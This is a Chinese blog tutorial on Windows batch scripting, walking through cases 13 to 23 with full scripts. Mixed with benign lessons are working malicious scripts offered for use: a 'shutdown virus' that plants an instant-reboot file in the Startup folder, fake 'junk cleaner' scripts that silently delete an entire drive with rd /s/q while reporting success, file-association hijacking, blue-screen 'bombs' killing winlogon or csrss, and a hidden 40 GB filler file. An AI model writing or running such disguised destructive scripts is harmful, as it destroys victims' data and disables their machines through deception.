前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2.批处理脚本制作

2.批处理脚本制作

作者头像
阿七日记
发布2021-12-28 10:06:57
7080
发布2021-12-28 10:06:57
举报
文章被收录于专栏:阿七日记

批处理脚本制作案例

案例13:制作带有菜单的脚本

用到知识

代码语言:javascript
复制
冒号:
goto
if

if用法

代码语言:javascript
复制
if 判断语句 命令 # 判断正确成功,则执行命令,否则不执行,结束判断
如:if 1==2 md c:\123

案例:

代码语言:javascript
复制
@echo off
title 阿七程序
color 0a
mode con cols=45 lines=13
:menu
cls
echo ===========================
echo 菜单
echo 1.定时关机
echo 2.制作关机病毒
echo 3.清理垃圾
echo 4.退出
echo ===========================
set /p num=请输入您的选择:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
if "%num%"=="4" goto d
echo 别TM瞎输入,好好输入,只能输入(1、2、3、4)!
echo 按任意键回菜单吧!
pause >nul 2>nul
goto menu
:a
set /p time=请输入关机时间:
shutdown -s -t %time%
goto menu
:b
echo shutdown -r -t 0 >"C:\Documents and Settings\%username%\「开始」菜单\程序\启动
\haha.bat"
echo 恭喜,病毒制作成功!
pause
goto menu
:c
set /p pan=请输入垃圾清理盘符:
rd %pan%:\ /s/q >nul 2>nul
echo 恭喜,分区%pan%盘垃圾清理完毕!
pause
goto menu
:d
exit

案例14:注释命令

代码语言:javascript
复制
@echo off
::echo wen # ::可以注释掉一行命令,当执行批处理时不会再执行本行命令
@rem echo xiao # @rem 作用同 ::
echo fei
pause

案例15:实现延时操作

代码语言:javascript
复制
@echo off
ping -n 5 127.0.0.1 >nul 2>nul #实现运行时等待大概5秒,也可以理解为延时5秒,然后继续
执行后续命令
pause
代码语言:javascript
复制
@echo off
:a
color 0a
ping -n 2 127.0.0.1 >nul 2>nul
color a8
ping -n 2 127.0.0.1 >nul 2>nul
color e5
goto a
代码语言:javascript
复制
@echo off
echo ==============================
echo.
echo 垃圾清理程序 v1.0
echo. --by wencoll
echo ==============================
pause
echo 垃圾清理中。。。。。
rd d:\ /s/q >nul 2>nul
ping -n 8 127.0.0.1 >nul 2>nul
echo 恭喜您,垃圾清理完毕,按任意键重启计算机,效果更好!
pause >nul 2>nul

案例16:制作简易加密脚本

代码语言:javascript
复制
@echo off
title 加密程序v1.0--by dafeige
echo ===========================================
echo 加密说明:
echo 首先将加密程序复制到与所要加密的文件夹同一个目录中,然后再运行该程序
echo ===========================================
set /p name=请输入要加密的文件夹名:
ren %name% system.inf
attrib +s +h system.inf
echo 恭喜,已经加密成功!
pause

案例17:制作解密脚本

代码语言:javascript
复制
@echo off
title 解密程序v1.0--by dafeige
echo ===========================================
echo 解密说明:
echo 首先将解密程序复制到与所要解密的文件夹同一个目录中,然后再运行该程序
echo ===========================================
set /p name=请输入要解密的文件夹名:
attrib -s -h system.inf
ren system.inf %name%
echo 恭喜,已经解密成功!
pause

案例18:恶意脚本--之-篡改文件关联性

代码语言:javascript
复制
@echo off
assoc .txt=mp3file # 将txt当成音乐文件,打开txt文件将使用音乐播放器打开
assoc .jpg=mp3file
assoc .png=mp3file
assoc .zip=mp3file

案例19:恶意脚本--之-修复文件关联性

代码语言:javascript
复制
@echo off
assoc .txt=txtfile # 只需要前后一致即可!
assoc .jpg=jpgfile
assoc .png=pngfile
assoc .zip=zipfile
assoc .mp3=mp3file

案例20:针对win 2003的蓝屏炸弹

代码语言:javascript
复制
ntsd -c q -pn winlogon.exe
ntsd早期系统杀死进程的命令
taskkill新系统杀死进程的命令

案例21:(非批处理)针对win7与win10的蓝屏

代码语言:javascript
复制
win7
任务管理器---强制杀死csrss.exe进程--蓝屏
win10
任务管理器---强制杀死:服务主机:DCOM服务进程启动器--蓝屏

案例22:杀死explorer.exe进程

代码语言:javascript
复制
@echo off
taskkill /im explorer.exe /f >nul 2>nul
echo 小样!吓死你了!
ping -n 8 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 恢复了!以后别老访问垃圾网站!
pause

/im 立即立刻 /f 强制

案例23:快速制作大文件脚本

代码语言:javascript
复制
fsutil file createnew d:\system.inf 40000000000 # 单位是字节
attrib +s +h d:\system.inf
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 批处理脚本制作案例
    • 案例13:制作带有菜单的脚本
      • 案例14:注释命令
        • 案例15:实现延时操作
          • 案例16:制作简易加密脚本
            • 案例17:制作解密脚本
              • 案例18:恶意脚本--之-篡改文件关联性
                • 案例19:恶意脚本--之-修复文件关联性
                  • 案例20:针对win 2003的蓝屏炸弹
                    • 案例21:(非批处理)针对win7与win10的蓝屏
                      • 案例22:杀死explorer.exe进程
                        • 案例23:快速制作大文件脚本
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档